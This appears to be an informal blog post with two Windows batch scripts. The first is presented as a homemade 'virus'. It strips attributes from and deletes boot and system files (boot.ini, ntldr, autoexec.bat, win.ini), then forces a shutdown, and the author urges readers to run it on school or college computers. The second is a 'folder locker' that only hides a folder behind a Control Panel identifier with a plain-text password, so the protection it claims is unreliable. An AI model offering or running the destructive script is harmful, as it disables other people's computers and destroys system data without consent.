Write your own small(?) virus.[windows]

Ever wanted to know how the great and splendid viruses are made?Well i did and still do.Batch files can be used for many purposes i have already listed one in which a simple batch file
can be used to completely hide your folders. Now here is another batch file with a deadly effect.
I'll explain each step in detail.
First of all goto
Start >Run>cmd
Type help > \whatever.txt
You will get all the commands supported by DOS with their explanations.Thats all you need to know to fully understand this.
Now lets begin

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
echo "A Gift from BILL!!!
shutdown -s -t 7 -c "YOUR PC NEED SLEEP "

save this as whatever.bat and double-click to open it.
DO NOT run on your own computer however you may(if you want to get kicked out) run this on your school/college PC's .

Now how this works:

"ATTRIB" will clear attributes of the concerned file."DEL" is obvious.
ECHO will print the message after it on the screen.
Shutdown with its parameters:
-s: calls shutdown
-t:sets time for shutdown in seconds
-c: will display a comment

lock ur folders

DIY folder lock:

just copy and paste this in to notepad or any other editor and save as lock.bat
now double click to open the batch file it will create a folder "locker" put all ur files i that folder and again double click to open the batch file say yes and u r done.

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B303

09D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

p.s. enter ur own password at "type ur password here" and use that to unlock ur folder

if u cant do this more simple ways are discussed here and here.